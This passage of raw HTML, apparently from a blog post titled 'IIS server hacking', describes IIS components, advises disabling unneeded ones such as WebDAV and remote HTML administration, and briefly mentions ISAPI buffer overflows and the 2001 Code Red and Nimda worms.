margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Internet Printing: Provides Web-based printer management and allows printers to be shared by using HTTP. This component is usually not required on a dedicated Web server.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">NNTP Service: Distributes, queries, retrieves, and posts Usenet news articles on the Internet. This component is not required on a dedicated Web server.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">SMTP Service: Supports the transfer of electronic mail. This component is not required on a dedicated Web server.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">World Wide Web Service: Provides Internet services, such as static and dynamic content, to clients. This component is required on a dedicated Web server. If this component is not enabled, then all subcomponents are not enabled.</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Active Server Pages: Provides support for Active Server Pages (ASP). Disable this component if none of the Web sites or applications on the Web server uses ASP.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Internet Data Connector: Provides support for dynamic content provided through files with .idc extensions.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Disable this component if none of the Web sites or applications on the Web server includes files with .idc extensions.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Remote Administration (HTML): Provides an HTML interface for administering IIS. Use IIS Manager instead to provide easier administration and to reduce the attack surface of the Web server. This component is not required on a dedicated Web server.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Remote Desktop Web Connection: Includes Microsoft ActiveX® controls and sample pages for hosting Terminal Services client connections. Use IIS Manager instead to provide easier administration and to reduce the attack surface of the Web server. This component is not required on a dedicated Web server.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Server-Side Includes: Provides support for .shtm, .shtml, and .stm files. Disable this component if none of the Web sites or applications on the Web server includes files with these extensions.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">WebDav Publishing: Web Distributed Authoring and Versioning (WebDAV) extends the HTTP/1.1 protocol to allow clients to publish, lock, and manage resources on the Web. Disable this component on a dedicated Web server.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">World Wide Web Service: Provides Internet services, such as static and dynamic content, to clients. This component is required on a dedicated Web server.</div></li></ul></li></ul></div><div><span class="sidebar-title"><b><center> ISAPI DLL Buffer Overflows</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">One of the most extreme security vulnerabilities associated with ISAPI DLLs is the buffer overflow.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">In 2001, IIS servers were ravaged by versions of the Code Red and Nimda worms which were both based on buffer overflow exploits.</div></li></ul></div><div><div class="first-para"><b class="bold">ISAPI - Introduction</b></div><div class="last-para">Internet Server Application Programming Interface (ISAPI) is an API developed to provide the application developers with a powerful way to extend the functionality of Internet Information Server (IIS). ISAPI allows web developers to develop custom code that provides additional web services. This custom code can either be implemented in an ISAPI filter, if the new functionality provides a low-level service, or conversely an ISAPI extension, if the new functionality provides a high-level service. Although ISAPI extensions are not limited to IIS, they are extensively used in conjunction with web servers.</div></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

IIS server hacking

What are IIS Components? Learn IIS server hacking IIS Components IIS relies heavily on a collection of DLLs that work together with the ma...

Read more »